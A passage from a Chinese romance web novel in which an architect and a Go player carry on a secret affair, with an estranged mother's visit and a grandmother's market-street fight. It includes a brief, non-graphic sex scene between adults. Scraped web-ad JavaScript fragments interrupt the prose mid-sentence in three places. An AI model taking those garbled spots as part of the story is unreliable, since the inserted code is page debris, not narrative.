热闹过后的夜总显得格外安静,能听到并不好骑的共享单车发出嘎吱嘎吱的声音。柏油马路边是老旧的青石板路,自行车轮轧过去没一点声响。 洵州城大部分地方种着梧桐、香樟和桂树。有那么一小节路,则种着冷杉。 晁雨便是在骑过那一节冷杉林的时候,突然捏住了车把。捏得太急,以至于她差点没往前栽出去。 她本想马上给九叔打个电话,但想起上次大半夜给九叔打完电话后,九叔第二天一脸沉痛的地交代她: “干啥都行,能别在大晚上给我打电话了么?” 她转回头,看向随她一起停车的辜屿。 辜屿两只手扶着车把,一条长腿支在地上。 晁雨笑道:“我想到了!我想到劝宁塔第二层的承重该怎么解决了。” 辜屿看着她。晁雨知道辜屿肯定不明白她在说什么,可这一刻,她太需要把这种心情说出来了。 这种……便秘了一个月后忽然拉通的心情。 嗯这比喻不太文艺,删掉。 晁雨跟太多人说过,做建筑设计是为了赚钱、为了功成名就。 可这一刻,她久违地体会到了一种真实的、纯粹的快乐。 一种小时候买到一颗好看玻璃弹珠的快乐。 突然她双眸凝住。 在辜屿身后,一朵蓝紫的烟花腾空而起,钻出冷杉树冠间的缝隙,完整地绽放在她眼前。 没想到今晚除了他俩,还有其他人会去溪边放烟花。 晁雨叫辜屿:“快看!” 她这一刻的兴奋甚至不因为恰巧还是看到了烟花,她就是心情太好了。 辜屿看着她,低低地:“嗯。” 可他没有转回头去。 手伸进长裤口袋,指尖捏住手机摩挲了下。他本是个极其讨厌拍照的人,拍照有什么用呢,留不住的还是留不住。 可这一刻,他莫名生出一种冲动,烟花和昏黄的路灯、零星冒出的星光一起,落进晁雨的眸子里。她在笑,双眼显得格外闪亮。 他竟想掏出手机,把这一瞬拍下来。 可最终他的指尖贴在冰凉的手机壳上,又缩了回去,从口袋里抽出手来。 晁雨问他:“你不看么?” “看。”他这样缓缓回答着,但并没第一时间转回头去。 他对着晁雨多看了一秒,也许两秒。 对着晁雨很轻地、也很慢地眨了一下眼,睫毛翕动,像摁下一次快门。 然后,转回头去,穿过冷杉的树冠,去看天空绽开的烟花。 从任何意义来说,他后来看过太多比这盛大的烟花了,在皇家加勒比游轮上,在巴黎铁塔下,在迪拜的第一高楼。可也许他这一生拍的照太少、太少了,用脑海来拍照的,更是只有这个瞬间。 他好像会记得很久,他穿着黑T跨在一辆并不灵光的共享单车上,脊背上是骑了一路微微沁出的薄汗。 晁雨在身后问:“好看么?” 他顿了两秒。 用很低的、也许只有他自己能听见的音量答:“嗯,好看。” - 第二天,晁雨办公室所在的那条老街检修电路,她有幸带薪休假半天。 许辰懿昨晚本想早睡,没想到被国外甲方抓了壮丁,顶着时差开了半夜的会。 这天午后,晁雨伏在书桌前继续琢磨方案,许辰懿瘫在她床上补觉。 那台豆沙绿的小电扇,吱吱呀呀地摇头吹着。 不知过了多久,许辰懿在床上气若游丝地喊:“小雨。” “怎么?”晁雨扭头看她。 “你过来一下。” 晁雨放下铅笔走过去。 许辰懿继续屏着那气若游丝的调子:“你可记好咯,我Q号的密码是xxxxxxxx。” 晁雨:??? 许辰懿翘起兰花指,在半空虚虚地对着她一点:“要是我被热死在这了,你可一定记得继承我八位数的黄钻Q号。” 晁雨被许辰懿给逗笑了。 其实她觉得还行,也没太热。主要是南方的盛夏湿度高,许辰懿一个北方人待不惯。 晁雨拿起空调板:“行了行了,开空调。” 许辰懿顿时就活了:“你就宠我吧!” 房里凉快下来,许辰懿睡差不多了,就靠在床头晃着脚刷手机。 不一会儿蹦下床来,把手机怼到晁雨面前:“你看这对耳环好看不?” 晁雨看了眼价格,拼命忍住了用桌上那颗桃子去砸许辰懿的冲动。 她幽幽地望着许辰懿。 得了,姐俩儿的收入差距,这就算彻底拉开了。 许辰懿很自觉地抓起桌上那颗桃子啃了口,又撩起晁雨的长发看了眼:“你耳垂长得多好啊,怎么就一直不打耳洞呢?” 晁雨抬手揉了下耳垂:“别了吧,挺疼的。” “现在好些男生都打呢。” “别别别,我可受不了。” 许辰懿想了会儿,跟着笑了:“我好像也有点受不了,怎么回事,比姐们儿我还妖娆。” 正聊着,啪地一声。 许辰懿一惊:“什么声音?” 晁雨眼前一黑:“电路烧了。” 她自己捣鼓了半天,觉得不是跳闸这么简单,不得已给晁正声打电话。 还没开口,晁正声驾轻就熟地问:“电路烧了?” 老宅子看着漂亮古朴,住起来问题不少。晁正声很放松地说:“没事,我让小王来修。不过现在太热了,让他傍晚再来吧。” “好。” 晁雨挂了电话,听许辰懿在一旁碎碎念道:“完咯完咯。” “完什么完。”晁雨收起手机:“走,去毛奶奶那边蹭空调。” 毛家小院也是老宅子。不过一来,年头没有晁家祖宅久,二来,毛秀珍把这里改成电竞游戏房的时候,还是改造过一番电路。 晁雨和许辰懿顶着烈日穿过马路。 一推开游戏房的门,许辰懿嗷地一嗓子:“想不到你们每天过得是此等好日子!” 冷气凉飕飕地往每一个毛孔里钻。许辰懿凑到一个男生身边:“我帮你玩两把。” 男生让开座位:“辰辰姐你技术怎么样啊?” 许辰懿坐下挪过鼠标:“你就瞧好吧。” 许辰懿这人是个奇才,样样事情她不说多精通,但就没有她不会的,连黄梅戏她都会唱一嗓子。哦对了,她还特别会打麻将,好几份合同都是她在麻将桌上签回来的。 而且她不是假意输钱给客户的那么打, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她是真打,把客户给打服的那种打。 男生一看许辰懿挪着鼠标,眼睛都亮了,很快意识到这是继辜屿之后的第二条大腿。 晁雨靠在门边开口:“我……” 所有男生齐刷刷看过来,警惕地护住了自己的鼠标。 晁雨:…… 她游戏打得真有这么烂吗?至于这么如临大敌的吗? 切,本来她也不想玩好不好,她就是想说一声,她先去忙了。 走出游戏房,看到毛秀珍摇着蒲扇、靠着躺椅,在葡萄爬架下躲阴凉。 晁雨走过去:“你不热啊?” “不热啊。” 毛秀珍在洵州生活了这么多年,很适应南方的湿热。并且这会儿有穿堂风,她还觉得挺凉快的。 晁雨扬扬手里的古建筑图册:“我家停电了,借你房间工作会儿。” “不行!”毛秀珍从躺椅上跳起来。 “嘿你这老太太。”晁雨佯瞪着她:“我每次来教你画画可一分钱课时费没收啊,你还这么小气。” “你去我房间是不是得开空调?那不是浪费资源么?”毛秀珍夹着蒲扇,拖着晁雨往辜屿房间的方向走去。 “诶?” 在晁雨还没反应过来的时候,毛秀珍敲了敲辜屿房间的门,在得到辜屿沉冷的一声“进来”后,她把晁雨给塞了进去。 “小雨要工作,跟你共用一个房间吧。” 辜屿看了眼,没说什么。 晁雨琢磨了下,毛老太太就是为了省电,这种情况下她硬要走,是不是反而显得怪怪的。 辜屿的书桌并不算多小,她搬了张椅子,在书桌另一侧坐下了。 毛秀珍摇着蒲扇,站在门口笑了声。 晁雨抬头。 “没什么没什么。”毛秀珍笑眯眯道:“就是你们俩小时候,都没看你俩坐一起写过作业。” 说完带上门出去了。 晁雨一想,还真是。 小时候话都没说过的两个人,这会儿坐在一起,一个翻着棋谱,一个翻着古建筑图册。 可见荷尔蒙真是奇怪的东西。 晁雨工作起来挺投入的,不知过了多久,揉着发酸的后颈一抬眸,发现辜屿趴在棋谱上睡着了。 晁雨愣了愣。 继而转着脖子,环视了一圈屋内。 她到辜屿卧室的次数,屈指可数,好像还都是为了同一件事。那件事让人急切、让人混沌、让人头目一同晕眩,所以每次,她好像也没好好看过辜屿的房间。 一间很……冷淡的房间。 可以这么说吧,跟晁二柱那间堆满了篮球、杂志和臭袜子的房间相比,这里简练得像没有住过人。 没有一丝褶皱的床单。几乎空无一物的书桌。和摆着些旧棋谱的书架。 这种感觉,就像他随时站起来走出去,这里也不会记住他这个人一样。 昨天他穿过的那条长裤,搭在衣架上,正对着空调出风口。 晁雨看着裤子口袋露出的白色小角,心里一动。 那应该就是昨晚辜屿收进口袋的、写了诗句的那张纸条。 晁雨抿了下唇。 她想求证、又觉得这样去翻别人的东西实在不好。 但,作为一个常年抽奖连纸巾都没中过一包的人,这一次,老天却听到了她的心声。 在空调风的作用下,那张纸条终于飘飘荡荡、飘飘荡荡,落在地上展开来。 纸条上就是最常规的宋体字,打印着那行诗文: [我曾经默默无语、毫无指望地爱过你, 我既忍受着羞怯,又忍受着嫉妒的折磨; 我曾经那么真诚、那么温柔地爱过你。] 晁雨盯着那行诗。 有那么三两个瞬间,她觉得辜屿也许喜欢她。更多时候,她觉得辜屿对她除了荷尔蒙,根本毫无感觉。 可现在她盯着那行诗,心里冒出一个奇怪的念头: 她觉得辜屿好像喜欢她,又好像不敢喜欢她。 她把视线转向辜屿。 辜屿睡觉的姿势有一点特别。修长的胳膊压在棋谱上,整张脸几乎整个埋进臂弯里,好像不想任何人看见他睡觉时的神情一样。 这样的姿势让他只有侧脸的一小块肌肤露出来,连带着脖子。因肤色冷白,透出淡青色的筋脉。 再有就是墨色发丝下的耳垂。 辜屿左耳上有颗淡绯色的小痣。因为那颗痣,他无数次在网上获封「性张力天花板」。 因为他这个人着实矜冷,独独那颗绯色的小痣透着妖异。 像无暇者的伤痕。禁欲者的破绽。沉冷者的狂妄假象。 晁雨盯着他左耳垂上的那颗小痣想:的确有点性感。 在两人发生关系的时候,她往往去对付辜屿耳后类似过敏的那道痕。用指尖刮过,用齿尖轻轻地磨。 那时辜屿阖着眼,微蹙着眉,喉结轻滚一滚。 这时,她第一次把手伸向辜屿的耳垂,怀着情欲,或者其他什么,恐怕连她自己都说不清。 在指尖落下前,她忽然发现,那枚绯色的小痣,其实是长在耳垂上小小的孔隙上。 晁雨微愣了下:辜屿有耳洞? 人真是双标动物。 明明不久前刚跟许辰懿吐槽过受不了打耳洞的男人,这会儿见辜屿有,配合着他臂弯里露出的一道紧致颌线,仍觉得干净而性感异常。 看上去辜屿睡得很沉,而她的指尖只想像蜻蜓尾点水一般,轻碰一碰。 然而就那么一瞬间,辜屿忽然抬手,牢牢攥住她手腕。 她几乎要惊呼出声,又吞咽回去。辜屿从臂弯里转过半张脸来,露出一只眼来盯着她。 那是一种很复杂的眼神,冰冷、戒备、也许还有更多的什么。 晁雨快二十七岁了,可她发现以自己的人生经验,竟很难描述那种眼神。 她纤细的手腕被辜屿冷瘦的指骨捏得发痛,她望着辜屿垂落发丝略挡住的那只眼,不知为什么说了句:“辜屿,是我。” 那只冷钳似的手是在这时一点点放开的。 辜屿坐起来,眼神恢复平时的沉淡,望着眼她手腕上的指痕,沉默两秒,说:“抱歉。” “没什么。”晁雨把手腕藏进另只掌心,轻揉着转了转。 心里冒出的疑问是:那一刻,辜屿当她是谁? 辜屿的戒备心又为什么那么重? 46. 第六件小事10 辜屿坐了会儿,听到旁边有哗哗的细响。 扭头去看,是他口袋里的那张纸条被空调风吹了出来,在地上卷动着。 他没说什么,勾下腰去,把纸条捡了起来,很随意地拉开抽屉,顺手往里面一塞。 他这样的人,连抽屉里都是空荡荡的。要不是这样,晁雨也不会瞥见,拉开抽屉又关上的那一瞬,里面一个黑色的小东西撞在抽屉内壁上,弹了两弹。 好像…… 是她以前给辜屿当棋子的那颗黑色扣子。 晁雨的心好像跟着那东西、在抽屉内壁上撞了下。她什么都没说,转了下自己的手腕,站起来收拾书桌上的图册:“我先过去找辰辰了。” 辜屿也没多说什么,抬起手揉了把自己的头发:“嗯。” 他这时的神情已看起来和平时无异。 只是额前的一点碎发,刚才被手臂在脸上压出细细的痕。 晁雨走进游戏房,找了张靠背竹椅坐下。 许辰懿战局正酣,扭回头看她一眼:“家里电路修好了?” “嗯?”晁雨抬起头来神情有点迷茫,半晌才说:“哦,没有。我工作累了,来坐会儿。” 她就坐在一片键盘和鼠标的敲击声里,轻揉着自己的手腕。 傍晚,葛洁给她打电话,说小王把家里电路修好了,叫她和许辰懿回家吃饭。 直到深夜,许辰懿已回客房睡下后,晁雨收到辜屿的微信。 ,:[下来。] 晁雨看了眼,把手机放到一边,没回。 过了几分钟,很意外地,她听到自己房门外轻叩了叩。 像一只夜晚不睡的鸟、轻啄橡果的声音。 她多坐了几秒,才站起来,走过去拉开门。 辜屿站在门外,手里拎着个小塑料袋,脸上蒙着黑色口罩。 见到晁雨,他把口罩扯下来塞进口袋,小塑料袋递上去:“对不起。” “对不起”这三个字,听起来比“抱歉”两个字更有人情味儿一点。 也许是更口语化的缘故。 晁雨看了眼塑料袋里,是一瓶防跌打喷雾和一瓶活血化淤的油。 她说:“没必要,没那么严重。” 还是伸手接过了。 辜屿站在门口,她站在门内,两人之间,只有被稍变形的木门在地板上压出的一道细痕。 晁雨问:“你是吸血鬼吗?” 辜屿:? 晁雨:“你好像很忌惮进我的房间。” 从小到大,除了给她送奶茶那次进过,还有什么时候进过吗?以晁雨的记忆,好像没有了。 辜屿没说什么。 晁雨往后牵了下嘴角,心里很轻地咂一声——玩笑失败。 两人之间的氛围,有点怪怪的。 如果以前,她还能轻松问出“你不会是喜欢我吧”这种话,因为那时候,她心里对这句话基本是给出否定答案的。 可现在,那张印了诗句、被收进抽屉的纸条,和那枚很多年前的扣子一起,在她心里晃动着。 直到辜屿说:“我先走了。” “好。”晁雨点点头。 她关了门,坐回书桌前,把两瓶药从塑料袋里拿出来,对着药盒上的用法剂量和副作用说明看了半天。 回过神来的时候,才发现自己在对着那一行行的小字出神。 辜屿踏过斑马线,回到自己房间。 拉开书桌的抽屉,里面空荡荡的,只有他刚塞进去的一张纸条,和一颗黑色的扣子。 他把那颗扣子拿起来看了眼。 倒也不是刻意想留。 而是好像只有在洵州,一切都是不变的、不会消失的。你存放在这里的东西,就会一直安静待在抽屉的角落。 他合上抽屉,取了浴巾去洗澡。 第二天晁雨去上班的时候,发现毛秀珍这老太太真绝了。 按照清晨的风向,小院里这会儿是没有穿堂风的。毛秀珍搬了张竹椅坐在院门口,优哉游哉地摇着蒲扇,旁边小茶桌上放着两大牙西瓜,那就是她的早饭。 她放亮了嗓门,跟来往过路的人打招呼:“张家姐姐,买菜去呀?” “齐老三,买天亮饭回来啦?” 简直是木安街一霸。 晁雨打从她跟前路过,挡住自己的脸:“别问我,我没那么悠闲,我就是个灰头土脸的上班狗。” 毛秀珍嘿嘿嘿地笑,忽地一招蒲扇:“林妹妹,下午打麻将去呀?” “林妹妹”也是个老太太,毛秀珍的牌搭子之一。 这会儿“林妹妹”拎着盒糟鸡,一边快步走一边摇手:“今天不行,我女儿从上海回来看我了。” 毛秀珍撇了撇嘴。 晁雨本来已打她跟前走过了,这会儿没忍住,又回头看了她眼。 其实很久以前,晁雨心里就有个疑惑:都说毛秀珍的女儿嫁进了北京的大户人家,辜屿是她的外孙,每年暑假都来,怎么从没见毛秀珍的女儿回来过呢? 这时毛秀珍坐在院门前,缓缓地摇着蒲扇,絮叨着女儿回来要做什么菜的“林妹妹”走远了。 而毛秀珍一张满是皱纹的脸上,捕捉不到什么明显的表情。 她好像望得很空,也很远。 - 事情就是这么巧。 晁雨下班时,顺着公交车站往家走,一路琢磨着修缮方案的事。 路边停着辆黑色的劳斯莱斯,她多看了眼。 上海牌照,肯定不是附近居民的车。 车里一个戴白手套的司机坐着,打着双闪。她下意识往四周看了圈,见一个衣着矜贵的女人站在毛家小院前。 女人的矜贵,不是浑身印满奢牌LOGO的那种矜贵,她的套装素色,面料低调而柔软。晁雨甚至没看到她的脸,单看她的背影,就认定她跟辜屿有关。 看年纪,也许是辜屿的母亲。 那也就是毛秀珍的女儿。 小院夜不闭户,这会儿院门更是大敞着,但女人没进去,踏着六厘米的高跟鞋站在院外,没门铃,她矜贵的手拍在生锈的铁门上。 砰砰砰,砰砰砰。 也许察觉到身后的视线,她转回头,看了晁雨一眼。 那是一个异常美丽的女人,尽管有一种中年女性的瘦削。站在水乡小城的傍晚里,像束白色的鸢尾花。 晁雨有些脸热,有种偷看被抓现行的感觉,埋头匆匆走了。 正当这时,正在做饭的毛秀珍,举着菜刀从小院里出来:“我不买保险的呀——” 看了女人,明显愣了半晌。 瞥了眼匆匆路过的晁雨,直到晁雨走过了,毛秀珍才压低声道:“你还来找他干嘛?” 女人的声音充满冷漠:“要不是爸让我来,我会来吗?” 接下来的一句是:“他除了能下好围棋,还能做什么?” 晁雨不好在原地偷听,只有这么两句话,顺着傍晚的夕风,被送进了她的耳窝。 晁雨迈进老宅时回眸看了眼。 毛秀珍始终举着菜刀站在院门口,没迎女人进去。 - 晚上葛洁和晁正声回来,晁雨说想吃宵夜。 “喂。”葛洁叫她。 晁雨回神。 “不是说要吃宵夜?又靠在门框上发什么呆。” 晁雨走进厨房,看着葛洁烧水,帮葛洁把桂花元宵拿出来。 她也不是饿。 她就是……心里说不上什么感觉,想找点什么事情做。 水咕嘟咕嘟冒着泡,一颗颗的元宵浮上水面来,肥嘟嘟的。 葛洁从橱柜里取两只瓷碗出来。家里的瓷器都不成套,祖上传下来的老物件,一只印着蓝花瓷,另一只是珊瑚红留白的竹纹碗,各有各的好看。 葛洁很喜欢和晁雨坐在堂屋里吃夜宵。 晁正声忙了一天已经去睡了,这是独属于她们母女二人的时光。 元宵皮子咬破一口,浓浓的桂花味冒出来,天井里的夜风吹进堂屋,那棵百年的老桂树,或许也快开花了。 葛洁问:“辰辰呢?” “去睡了。” “这么早?” “她说年假没剩几天了,回北京后就没整觉可睡了,这几天得抓紧。” 葛洁笑起来。 晁雨斟酌着问:“毛奶奶的女儿,好像这么多年,都没回来过哦?” 葛洁瞥她一眼:“你问这干嘛?人家在北京忙呗。” 晁雨觉得葛洁的语气里,有一种大人之间都知道、但不告诉晚辈的讳莫如深。 早上晁雨去上班,毛秀珍又跟路霸似的,坐在小院门口啃西瓜。 一见她,笑眯眯冲她招手:“晚上下班来教我画画呀。” “你付过我课时费么?”晁雨故意说。 “我请你吃晚饭。” 晚上下班,晁雨走进毛家小院。 毛秀珍坐在葡萄藤爬架下,晁雨听了听,游戏房里静悄悄的。 “那帮兔崽子呢?” 毛秀珍哈哈一乐:“我做了道哈密瓜炒鱼,把他们吓出去吃面去了。” 哈密瓜炒鱼…… 晁雨的面目逐渐狰狞起来。 毛秀珍用脚推了推面前的竹凳:“坐。” 晁雨不放心地先问了句:“我们晚饭不会吃这道菜吧?” “不吃。”毛秀珍对着小茶桌努努下巴:“吃这些。” 晁雨看了看。 得,就一碟子咸干花生,一盘毛秀珍自己种的葡萄。 也行吧,至少比哈密瓜炒鱼好。 晁雨就坐下了。 毛秀珍又从地上拎了只长颈的玻璃壶:“还有葡萄汁。” 晁雨连连摆手:“葡萄汁就免了。” 上次她就是喝了这发酵的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “葡萄汁”,才对辜屿说出那么没谱儿的话来—— “给姐笑一个”。 事实上直到现在,她也没看辜屿笑过。 晁雨就坐在竹凳上,一颗颗地吃着葡萄。她不想吃花生,这大夏天的,上火。 毛秀珍自己种的葡萄有些涩,晁雨也没在意。毛秀珍这样把男生们支出去,肯定是有话跟她说。 果然,等她吃了三分之一盘葡萄后,毛秀珍摇着蒲扇开口:“昨天有人来找的事,你别跟二狗子说。” “那是他……妈妈?”晁雨试探性问了句。 毛秀珍笑了笑:“啊,漂亮吧。” “嗯,漂亮。” 晁雨回忆了下昨天惊鸿一瞥女人的长相,又看看面前的毛秀珍。 怎么说呢,挺不像的。 女人端秀,而毛秀珍,排除这一脸褶子,年轻时也该是那种虎虎生风的长相,一拳能打死三个臭流氓的那种。 晁雨又试探着问:“你女儿啊?” 毛秀珍笑笑,很缓慢地摇着蒲扇:“是啊,我福气好伐?” 她从盘里揪了颗葡萄,也不吃,一掐,葡萄汁就溅晁雨脸上了。 晁雨:…… 毛秀珍哈哈一乐,像在说什么稀松平常的事:“不过呢,她跟二狗子的关系不太好,所以,别让二狗子知道了。” “谁让她来的?” “她公公,二狗子的爷爷,最看重二狗子。” “下不好围棋就要回去继承家业的那种?”晁雨半开了句玩笑。 毛秀珍把手里剩的半颗葡萄吃了,嘬着手指。 见晁雨没允诺,一蒲扇拍在她胳膊上:“不要说,晓得伐?” “哎呀。”晁雨抚了抚自己的小臂:“知道了。” 晁雨回家工作了会儿,深夜,她悄悄溜出家门。 她直觉辜屿应该会等在那里,马路对面,交通标志灯下。 果然,辜屿在。 晁雨敏锐地发现,今天木安街的路灯竟换过灯泡了,光线比以往浓黄些,洒落得也更远些。辜屿站在那里,一半身形没入黑暗的夜,一半身形纳入光里。 晁雨忽然就想起,在他们上次去北京的前一夜,辜屿站在她家的天井里。 也是这样,一半身形没入黑暗,一半身形纳入温暖的光。 晁雨走过去。 辜屿没说什么,转身,往小院的方向走。 晁雨走在他身后,路灯把两人的影子拽往同一个方向。 还是铺着藏蓝色床单的床,还是淡淡辜屿身上的味道,晁雨陷落在枕头里,那味道就丝丝缕缕地缠住她。 她出了汗,觉得自己果然是水做的,所有动作变得缓慢而黏稠。她本来吻着辜屿耳后类似过敏的那一道,也不知自己怎么想的,头稍一偏,吻上了辜屿左耳垂上的小痣。 辜屿挺着腰,呼吸有一瞬滞涩。 晁雨慢慢吻着,舌尖轻轻地撩拨。 辜屿的呼吸慢慢放出来,他个子比晁雨高很多,圈着晁雨,像把晁雨整个拥进怀里。他在狠狠进攻,晁雨的腿缠着他。 这是一个无比亲密的姿势。 晁雨发丝里都渗出薄汗,有那么一瞬间她想:如果这时候她开口问辜屿的话,辜屿会什么都跟他说吗? 她放开辜屿的耳垂,去看辜屿的脸。 伸手过去,摸了摸辜屿紧蹙的眉。 辜屿一把紧攥住她手腕,指腹刚好压在先前被他掐出淡青的地方,晁雨小小呼一声痛,他的手倏然放开来,低下头来,堵住晁雨的唇。 直到结束,晁雨穿衣服的时候,看到桌上放着张海报。 她走过去看了眼:“这是什么?” “春闻杯的宣传物料小样,寄过来给我看一眼。”辜屿走过来,一手掌根撑在书桌边,身形斜倚着。 刚才的情事在他眼中尚未完全褪干净。很难得的,那双黑白分明而凌厉的眸子,眼皮略倦怠地半耷着,显得比平时稍软些。 晁雨垂眸看那张海报。 辜屿在圈内被誉为“妖刀”,这张海报用的是国风CG,左半边是依辜屿照片勾出的形象,右半边则是上古妖兽穷奇的模样。 容貌如虎,头顶尖锐双角,浑身虬结肌肉加刀枪不入的灰黑鳞片,一只巨大的翅膀披满红毛,似灼灼燃烧的火焰在身后绽开。 通过CG技术,让真人和妖怪的形象无缝拼接在一起。一半是人,一半是妖,做得精美异常,即便只是小样大小,观之也令人触目惊心。 晁雨盯着那张海报看了会儿,开口:“我问你什么,你都会告诉我吗?” 一阵沉默间,空气里那根隐形的、紧绷的、似要捆住人心脏的弦又出现了。 不知过了多久。 辜屿抬起一只手来,瘦长的手指落下,刚好摁在海报上穷奇的那一半。凶兽的形象被遮去,只剩下辜屿矜贵的人形。 他说:“不会。” 47. 第六件小事11 第二天,晁雨下班时,远远看见木安街尾,九叔和辜屿坐在那儿下棋。 这会儿正是每家每户忙着买菜做饭的时候,所以没人围观,边上倒是清静。 晁雨十分不想下班以后再面对领导,从边上悄悄溜了。 转念一想:不对啊! 九叔和她同时出的办公室,她好不容易跟着公交车晃荡回来,九叔怎么就已在优哉游哉地下棋了? 她走过去,九叔瞥她一眼:“怎么,等着我赢了请你吃娃娃头啊?” 晁雨心想:你怎么可能赢。 “不是,我就想问问,你为什么过来得这么快?” 九叔傲娇地哼一声:“忘了上次你打不到车时是谁送你的了?” 哦对,上次晁雨赶着去马超家,就是九叔一声口哨,吹来个能把电瓶车当神舟十八号开的老头儿。 忘了这茬了。 她正准备走,忽听九叔哈地一声:“投子认输吧小子,我可算等到今天了!” 九叔赢了辜屿?不可能吧? 晁雨赶紧去看棋盘。 看了半天,她……没看懂。 但看辜屿的反应,应该是认定这一盘输了。 辜屿故意让的? 但看那张深冷的、无波澜的、似霜冻一般的脸,应该干不出这么充满情商的事。 那辜屿怎么会输? 晁雨悄悄瞥了辜屿一眼。 都说运动员在大赛前要禁欲,辜屿偏说不用,别是那啥太多、气给泄了吧……连九叔都下不过了。 九叔对辜屿伸出一只手:“拿来!” 辜屿垂眸看了眼,旁边地上有个九叔抽空的烟盒。 他捡起来,撕开,拿起九叔打草稿的那支圆珠笔,在撕开的烟盒上写:五块。 然后递给九叔。 九叔:…… “哪有你这样的!” “没钱。” “我以前输你那么多的五块钱呢?” 辜屿本已站起来了,听他这么说,垂眸看了眼:“不是每次都请你吃娃娃头了么?” “哦对。”九叔抬手挠了挠那不长一根头发的头。 这时一个老头儿远远跑了过来,手里拎着袋老豆腐:“打起来了打起来了!” 晁雨一眼就认出来,这是上次送她去马超家那位。 九叔悠闲收着棋子:“谁打起来了?你家的鹅啊?” “不是,是你CP!你还不赶紧去看看!” 晁雨跟着九叔怔了半秒,才反应过来那是说毛秀珍。 九叔破口大骂道:“去什么去!都让你们别乱把人往一堆凑!” 晁雨已拉住来通风报信的老头儿:“我去我去,送我去。” 她一边背着包跟老头儿往电瓶车边跑,一边回眸看了眼。 辜屿站在灌木丛边,蒙着黑色口罩只露出一双眼,仍似淡淡的没情绪。 晁雨坐在车速能把人假发吹掉的电瓶车上,心里有那么点别扭: 上次毛秀珍生病,不算严重,辜屿没去看也就罢了。 这次都打起来了,也不去? 跳下电瓶车,晁雨匆匆往菜市场里跑。 老头儿赶紧拉住她:“不是里面,是后面。” 晁雨跟着老头儿跑过去,这才知道摊位规划分明的菜市场后面,还有一条小街,坐满各种小商贩,卖草头的、卖晒干花生的、卖雄黄的,竹编筐里装的都是自己种的或晒的。 毛秀珍正和“林妹妹”扭打在一起。 按理说,老头儿都骑电瓶车去通风报信了一趟、又载着晁雨赶回来了,这架早该打完了。 但俩老太太打得特别慢,两人扭坐在地上,旁边滚满了刚买的小青菜和鸡头米,对撕一下就要停下来骂五句。 晁雨赶紧过去:“别打了别打了。” 打架这种事,往往是越有人劝越来劲。 “林妹妹”指着毛秀珍的鼻子骂:“垃圾婆!” 毛秀珍冷笑一声:“是是是,要不我怎么在垃圾堆里找牌友呢。” “林妹妹”气疯了:“什么开过饭馆卖过服装啊!谁不知道你老底啊!给自己造什么人设啊!你不就是个菜市场捡垃圾的吗!” 毛秀珍嗷一嗓子跟“林妹妹”扭打在一起。 除了晁雨在劝架,边上还有不少围观的:“哎哟,不就是清一色被截了和么,怎么就闹成这样。” 晁雨真没想到俩老太太战斗力还挺强,她劝架不成,还不知被谁挠了一爪子。 她一边琢磨着被人挠了需不需要去打狂犬疫苗,一边大声喊:“别打了!再打不管你们了。” 这时毛秀珍终于停了下来。 倒不是因为晁雨喊这一嗓子。 而是一双矜贵的高跟鞋,米白色的、柔软小羊皮的、踏在这污水横流的菜市场后街格格不入的,啪嗒,啪嗒,啪嗒。 高跟鞋轻叩在地上发出的声响,一路延伸到毛秀珍面前。 毛秀珍呆呆坐着,仰头看着眼前人。 晁雨也看着,是那矜冷而美丽的女人、辜屿的妈妈。 周围人窃窃私语起来:“那是阿毛捡的女儿?那是小青?” “哎唷,不敢认了。” 晁雨脑子里嗡地一声炸了。 菜市场后街,是她们这些年轻人平时根本不会来的地方,这里甚至不怎么用二维码,买菜都是用毛票和硬币。一些老得好似被时代淘汰的人聚在这里,守着一些不为后辈所知的秘密。 女人换了身淡雅的套装,仍是云霓般浅淡的颜色,居高临下地望着毛秀珍。 毛秀珍气喘吁吁,坐在地上仰望着女人。 其实她刚才和“林妹妹”互相下手并不重,要不是她因这两天发生的事情绪不稳,也不至于打起来。只不过,互相抓头发和用指甲挠,还是在她脸上留下了狼狈的痕迹。 她头发蓬乱着,侧脸有一道抓痕,“林妹妹”早已一骨碌爬了起来,她身边就只剩下早被压扁的青菜和骨碌碌乱滚的鸡头米。 她抬手,擦了擦嘴边因刚才互相撕扯而流下的一道口水,和面前居高临下看着她的女人形成了鲜明对比。 毛秀珍喃喃道:“我没想到你会留下来过夜。” 女人冷声:“我也没想到。” 她冷冷扫视过这条街,地面上横流的污水 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 、铺在地上沾着泥的红白塑料布、一个个粘满黑污的竹编筐,眼神里写满嫌恶。 晁雨有点无措,她从没面对过这样的场面。 她在毛秀珍身边蹲下来,想把毛秀珍扶起来。 可毛秀珍跟黏在地上似的,整个人看起来失了魂。 因为女人说:“你怎么还是这德行。” 这时一阵脚步,众人纷纷看过去。 辜屿蒙着黑色口罩走了过来。 他到底还是来了,在毛秀珍身边蹲下。众人窃窃议论的声音又起:“那是阿毛的外孙?” “下围棋的对吧,很有名的,在电视上经常看到,能赚很多钱的。” “比阿青嫁的那家人还有钱?” “那不好比的,钱加钱,总归是更有钱咯。” 辜屿蹲在毛秀珍身边说:“阿婆,站起来。” 毛秀珍忽然就崩溃了,呜啊呜地痛哭起来。 辜屿摘下口罩,塞进口袋,对毛秀珍伸出一只手:“要站起来吗?” 毛秀珍到底是由辜屿扶着站了起来,身上的衣服皱成一团,她扯了扯,又拍了拍。 辜屿又对晁雨伸出一只手。 晁雨愣了愣,才发现自己还蹲在地上。这一切发生得太乱了,让她有点来不及反应。 她想摆摆手说“不用拉我,我又没打架”。 但不知怎的,在那矜贵女人冷冷的目光中,她把自己的手递进辜屿手里,让辜屿把她拉起来了。 女人冷声道:“你倒肯露面了。” 辜屿:“去哪里谈?” 女人转身往窄街外走去:“跟我走。” 晁雨看了毛秀珍一眼:“我们,回去?” 毛秀珍站在原地吸吸鼻子,蹲下来,开始捡地上被压扁的青菜和骨碌碌乱滚的鸡头米。 “林妹妹”在旁边站了半天,这时过来蹲下,想帮毛秀珍一起捡,又被毛秀珍把手打开。 晁雨冲“林妹妹”笑了笑,用嘴形说:“没事,过两天就好了。” 她帮毛秀珍把青菜和鸡头米捡回塑料袋里,毛秀珍拎着,一瘸一拐地往外走。 晁雨跟上去:“你受伤啦?” 毛秀珍面无表情地说:“我腿麻了。” 